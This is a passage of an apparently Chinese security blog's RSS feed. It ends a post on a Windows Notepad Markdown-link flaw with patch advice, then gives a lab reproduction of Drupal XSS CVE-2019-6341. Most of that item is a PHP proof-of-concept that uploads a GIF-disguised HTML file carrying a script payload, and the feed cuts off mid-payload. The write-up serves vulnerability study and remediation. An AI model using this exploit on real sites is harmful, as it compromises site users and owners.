&lt;li&gt;下载并运行远控木马、勒索软件；&lt;/li&gt;
&lt;li&gt;窃取本地敏感数据（密码、文档、浏览器记录）；&lt;/li&gt;
&lt;li&gt;建立持久化后门，实现长期控制；&lt;/li&gt;
&lt;li&gt;横向渗透内网，攻击其他设备。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统沦陷&lt;/strong&gt;：攻击者获得完整控制权，设备沦为“肉鸡”，可能被用于挖矿、发起DDoS攻击或进一步渗透企业网络。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;四、影响范围&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;受影响版本&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;所有安装了 Microsoft Store 版新版记事本的 Windows 10 和 Windows 11 系统。&lt;/li&gt;
&lt;li&gt;特别是在启用 Markdown 预览功能的设备上风险更高。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;❌ &lt;strong&gt;不受影响版本&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;Windows 系统内置的旧版记事本（无 Markdown 解析功能）；&lt;/li&gt;
&lt;li&gt;Windows Server 系统（默认不安装新版记事本，除非手动从商店下载）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;五、修复方案与防护建议&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;立即安装补丁&lt;/strong&gt;（最有效措施）：
&lt;ul&gt;
&lt;li&gt;个人用户：进入「设置 → Windows 更新」，检查并安装 &lt;strong&gt;2026年2月10日及以后的累积更新&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;同时打开 Microsoft Store，更新记事本应用至最新版本（可在“设置-关于”中查看版本号）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;企业与政企用户&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;通过 WSUS 或 Intune 批量推送补丁；&lt;/li&gt;
&lt;li&gt;暂时禁用新版记事本的 Markdown 预览与链接跳转功能；&lt;/li&gt;
&lt;li&gt;使用终端安全产品（如 Microsoft Defender for Endpoint）监控异常命令行行为。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;临时规避措施&lt;/strong&gt;（未打补丁前）：
&lt;ul&gt;
&lt;li&gt;关闭记事本的 Markdown 预览功能；&lt;/li&gt;
&lt;li&gt;将 &lt;code&gt;.md&lt;/code&gt; 文件默认打开方式设为旧版记事本或安全的第三方编辑器（如 VSCode、Typora）；&lt;/li&gt;
&lt;li&gt;不打开来源不明的 &lt;code&gt;.md&lt;/code&gt; 文件或压缩包中的文档。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全意识提升&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;警惕邮件、聊天工具中收到的“文档”类附件；&lt;/li&gt;
&lt;li&gt;点击链接前，右键复制地址，检查是否包含异常协议或命令字符。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>Drupal文件上传导致跨站脚本执行（CVE-2019-6341）</title><link>https://kabuqin.github.io/cappuccino.github.io/posts/drupal%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%AF%BC%E8%87%B4%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC%E6%89%A7%E8%A1%8Ccve-2019-6341/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://kabuqin.github.io/cappuccino.github.io/posts/drupal%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%AF%BC%E8%87%B4%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC%E6%89%A7%E8%A1%8Ccve-2019-6341/</guid><description>&lt;h1 id="drupal文件上传导致跨站脚本执行cve-2019-6341"&gt;Drupal文件上传导致跨站脚本执行（CVE-2019-6341）&lt;/h1&gt;
&lt;h2 id="drupal介绍"&gt;Drupal介绍&lt;/h2&gt;
&lt;p&gt;Drupal 是一个&lt;strong&gt;开源的内容管理框架（CMF）&lt;/strong&gt;，用于构建网站、网络应用和数字体验平台。它基于 PHP 语言开发，具有高度灵活性和可扩展性，被广泛用于企业、政府、教育机构等大型或复杂的网站项目。&lt;/p&gt;
&lt;h2 id="漏洞描述"&gt;漏洞描述&lt;/h2&gt;
&lt;p&gt;Drupal 7.65之前的7版本、8.6.13之前的8.6版本和8.5.14之前的8.5版本中存在跨站脚本漏洞。该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。&lt;/p&gt;
&lt;h2 id="解决建议"&gt;解决建议&lt;/h2&gt;
&lt;p&gt;厂商已发布漏洞修复程序：
&lt;a href="https://www.drupal.org/sa-core-2019-004"&gt;https://www.drupal.org/sa-core-2019-004&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考链接：https://avd.aliyun.com/detail?id=AVD-2019-6341&lt;/p&gt;
&lt;h2 id="漏洞复现"&gt;漏洞复现&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;打开本地8080端口，配置Drupal环境，选择SQLite数据库，其他默认配置即可。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="D:%5C1PTtools%5C01%E7%AC%94%E8%AE%B0%5Cimage-20260210222044699.png" alt="image-20260210222044699"&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;使用这个链接下的POC：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://github.com/thezdi/PoC/tree/main/Drupal"&gt;https://github.com/thezdi/PoC/tree/main/Drupal&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;usage: php poc.php &amp;lt;target-ip&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;Date: 1 March 2019
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;Exploit Author: TrendyTofu
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;Original Discoverer: Sam Thomas
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;Version: &amp;lt;= Drupal 8.6.2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;Tested not wokring on: Drupal running on MacOS with APFS
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;CVE : CVE-2019-6341
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$host &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $argv[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$port &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $argv[&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$pk &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;GET /user/register HTTP/1.1&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;Host: &amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;$host&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;Accept-Language: en-US,en;q=0.5&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;Referer: http://&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;$host&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/user/login&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#e6db74"&gt;&amp;#34;Connection: close&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$fp &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fsockopen&lt;/span&gt;($host,$port,$e,$err,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;$fp) {&lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;not connected&amp;#34;&lt;/span&gt;);}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fputs&lt;/span&gt;($fp,$pk);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$out&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;feof&lt;/span&gt;($fp)){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $out&lt;span style="color:#f92672"&gt;.=&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;fread&lt;/span&gt;($fp,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fclose&lt;/span&gt;($fp);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;preg_match&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;/name=&amp;#34;form_build_id&amp;#34; value=&amp;#34;(.*)&amp;#34;/&amp;#39;&lt;/span&gt;, $out, $match);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$formid &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $match[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//var_dump($formid);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//echo &amp;#34;form id is:&amp;#34;. $formid;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//echo $out.&amp;#34;\n&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;sleep&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Connection: close&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;mail&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;test324@example.com&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;name&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;test2345&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;files[user_picture_0]&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;; filename=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;xxx&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\xc0&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.gif&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Type: image/gif&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;GIF&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;HTML&amp;gt;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;	&amp;lt;HEAD&amp;gt;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;		&amp;lt;SCRIPT&amp;gt;alert(123);&amp;lt;/SCRIPT&amp;gt;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;	&amp;lt;/HEAD&amp;gt;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;	&amp;lt;BODY&amp;gt;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;	&amp;lt;/BODY&amp;gt;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;/HTML&amp;gt;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;user_picture[0][fids]&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Disposition: form-data; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;user_picture[0][display]&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;1&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-----------------------------60928216114129559951791388325&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\r\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
